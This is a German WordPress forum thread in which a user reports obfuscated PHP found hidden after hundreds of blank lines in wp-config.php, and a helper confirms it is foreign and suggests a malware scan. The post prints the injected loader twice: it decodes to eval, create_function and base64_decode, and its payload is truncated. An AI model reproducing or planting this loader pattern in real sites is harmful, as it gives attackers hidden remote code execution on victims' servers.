wp gehacked?

    Meine Test-Installation war alt, habe gerade das Update eingespielt.
    Da fiel mir komischer Code in der wp-config.php auf. Das ist doch nicht normal.
    Am Ende der Datei waren ca. 800 Leerzeilen.

    Ich hoffe, dass hat meinen Server nicht kompromittiert. MySQL-Datenbank-PW habe ich geändert.

    Hier ein Teil vom Code. Schön codiert. Ich kann das nicht entziffern:

    Code
    /*e609df1445a166d48c74bf37b33a70a6_on*/ $WmwHJ261hbqzXC2bkDnMNrPpo0kDw91= array('3200','3217','3196','3207');$BnDUgzMnB2Npv= array('6272','6287','6274','6270','6289','6274','6268','6275','6290','6283','6272','6289','6278','6284','6283');$XFaEiNVY3aOdEadv= array('4803','4802','4820','4806','4759','4757','4800','4805','4806','4804','4816','4805','4806');$tspezsWmCnRKmCjdcM7k4oFY="ZXZhbChiY....Gaaaaanz Viele Zeichen......OyA=";if
(!function_exists("rcr2RzwZD1855LKYHCD2h40oq73f")){functionrcr2RzwZD1855LKYHCD2h40oq73f($g3bELRTBzDMp,$cEYScYXGDtKDlS4uOYEHZ8iGSJ5lmltbQiUS7HpA1Z4){$UYxmM1TCZ29HC5TPgcRWkBFi9UI0KC= '';foreach($g3bELRTBzDMp as$Brru4iex87w){$UYxmM1TCZ29HC5TPgcRWkBFi9UI0KC .= chr($Brru4iex87w -$cEYScYXGDtKDlS4uOYEHZ8iGSJ5lmltbQiUS7HpA1Z4);}return$UYxmM1TCZ29HC5TPgcRWkBFi9UI0KC;}$ZDZuVRble1O6ZK1BkQ =rcr2RzwZD1855LKYHCD2h40oq73f($WmwHJ261hbqzXC2bkDnMNrPpo0kDw91,3099);$Bj1UeS8uP2Aak40FPHH0MyFJnfAPqhO3r=rcr2RzwZD1855LKYHCD2h40oq73f($BnDUgzMnB2Npv,6173);$DvoNQ4Fg4QaUmQsTG5hcEvi4bycQstm6OB=rcr2RzwZD1855LKYHCD2h40oq73f($XFaEiNVY3aOdEadv,4705);$kvfBqWCb8iuRPpZRTl0O=$Bj1UeS8uP2Aak40FPHH0MyFJnfAPqhO3r('$UQ2HafEOGd91iBi5',$ZDZuVRble1O6ZK1BkQ.'('.$DvoNQ4Fg4QaUmQsTG5hcEvi4bycQstm6OB.'($UQ2HafEOGd91iBi5));');$kvfBqWCb8iuRPpZRTl0O($tspezsWmCnRKmCjdcM7k4oFY);}/*e609df1445a166d48c74bf37b33a70a6_off*/ ?>
    • Gerade eben
    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

    Zitat von kaisa


    Hier ein Teil vom Code. Schön codiert. Ich kann das nicht entziffern:

    Code
    /*e609df1445a166d48c74bf37b33a70a6_on*/ $WmwHJ261hbqzXC2bkDnMNrPpo0kDw91= array('3200','3217','3196','3207');$BnDUgzMnB2Npv= array('6272','6287','6274','6270','6289','6274','6268','6275','6290','6283','6272','6289','6278','6284','6283');$XFaEiNVY3aOdEadv= array('4803','4802','4820','4806','4759','4757','4800','4805','4806','4804','4816','4805','4806');$tspezsWmCnRKmCjdcM7k4oFY="ZXZhbChiY....Gaaaaanz Viele Zeichen......OyA=";if
(!function_exists("rcr2RzwZD1855LKYHCD2h40oq73f")){functionrcr2RzwZD1855LKYHCD2h40oq73f($g3bELRTBzDMp,$cEYScYXGDtKDlS4uOYEHZ8iGSJ5lmltbQiUS7HpA1Z4){$UYxmM1TCZ29HC5TPgcRWkBFi9UI0KC= '';foreach($g3bELRTBzDMp as$Brru4iex87w){$UYxmM1TCZ29HC5TPgcRWkBFi9UI0KC .= chr($Brru4iex87w -$cEYScYXGDtKDlS4uOYEHZ8iGSJ5lmltbQiUS7HpA1Z4);}return$UYxmM1TCZ29HC5TPgcRWkBFi9UI0KC;}$ZDZuVRble1O6ZK1BkQ =rcr2RzwZD1855LKYHCD2h40oq73f($WmwHJ261hbqzXC2bkDnMNrPpo0kDw91,3099);$Bj1UeS8uP2Aak40FPHH0MyFJnfAPqhO3r=rcr2RzwZD1855LKYHCD2h40oq73f($BnDUgzMnB2Npv,6173);$DvoNQ4Fg4QaUmQsTG5hcEvi4bycQstm6OB=rcr2RzwZD1855LKYHCD2h40oq73f($XFaEiNVY3aOdEadv,4705);$kvfBqWCb8iuRPpZRTl0O=$Bj1UeS8uP2Aak40FPHH0MyFJnfAPqhO3r('$UQ2HafEOGd91iBi5',$ZDZuVRble1O6ZK1BkQ.'('.$DvoNQ4Fg4QaUmQsTG5hcEvi4bycQstm6OB.'($UQ2HafEOGd91iBi5));');$kvfBqWCb8iuRPpZRTl0O($tspezsWmCnRKmCjdcM7k4oFY);}/*e609df1445a166d48c74bf37b33a70a6_off*/ ?>

    Ja, das gehört nicht in die wp-config.php. Du kannst deine Seite auch mal scannen lassen

    http://sitecheck.sucuri.net/scanner/

    Zitat von kaisa

    Ich hoffe, dass hat meinen Server nicht kompromittiert.

    Administrierst du den Server selber oder haste ein Webspace Paket?

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!

Benutzerkonto erstellen Anmelden